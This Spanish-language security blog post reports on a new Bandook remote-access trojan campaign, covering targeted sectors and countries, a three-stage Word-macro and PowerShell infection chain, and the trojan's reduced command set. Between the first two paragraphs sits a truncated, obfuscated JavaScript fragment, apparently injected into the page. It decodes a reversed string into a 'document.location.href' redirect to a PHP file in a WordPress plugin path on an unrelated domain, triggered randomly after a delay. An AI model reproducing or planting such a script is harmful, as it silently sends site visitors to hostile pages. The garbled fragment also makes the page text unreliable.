Bandook: un viejo conocido que vuelve a la carga
Una nueva ola de ataques contra multitud de sectores ha vuelto a surgir de la mano de una nueva versión del viejo troyano Bandook, que fue utilizado por primera vez hace casi 13 años.
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos_34831199-s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
Los diferentes sectores atacados incluyen instituciones gubernamentales, financieras, energéticas, alimentarias, sanitarias, educativas e informáticas ubicadas en Chile, Chipre, Alemania, Indonesia, Italia, Singapur, Suiza, Turquía y Estados Unidos.
El uso de Bandook RAT para realizar espionaje a escala global fue documentado por primera vez por Electronic Frontier Foundation (EFF) y Lookout a principios de 2018.
Figura 1: Diagrama de flujo de la infección
La infección consta de tres etapas que comienza con un documento de Microsoft Word descarga macros maliciosas al ser abierto por una víctima. Posteriormente procede a ejecutar la segunda etapa mediante una secuencia de comandos de PowerShell cifrada dentro del documento word original.
En la última fase del ataque, este script de PowerShell se utiliza para descargar partes ejecutables codificadas de servicios de almacenamiento en la nube como Dropbox o Bitbucket para ensamblar Bandook RAT, que luego se encarga de inyectarlo en un nuevo proceso de Internet Explorer.
Figura 2: Componentes del malware una vez descomprimidos en la máquina de la víctima
El Bandook RAT, disponible comercialmente a partir de 2007, cuenta con todas las capacidades típicamente asociadas a backdoors, ya que establece contacto con un servidor controlado de forma remota para recibir comandos adicionales que van desde las capturas de pantalla hasta la realización de varias operaciones relacionadas con archivos.
La nueva variante de Bandook es una versión reducida del malware con soporte para 11 comandos, mientras que las versiones anteriores presentaban hasta 120 comandos.
Ver información original al respecto en Fuente>
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.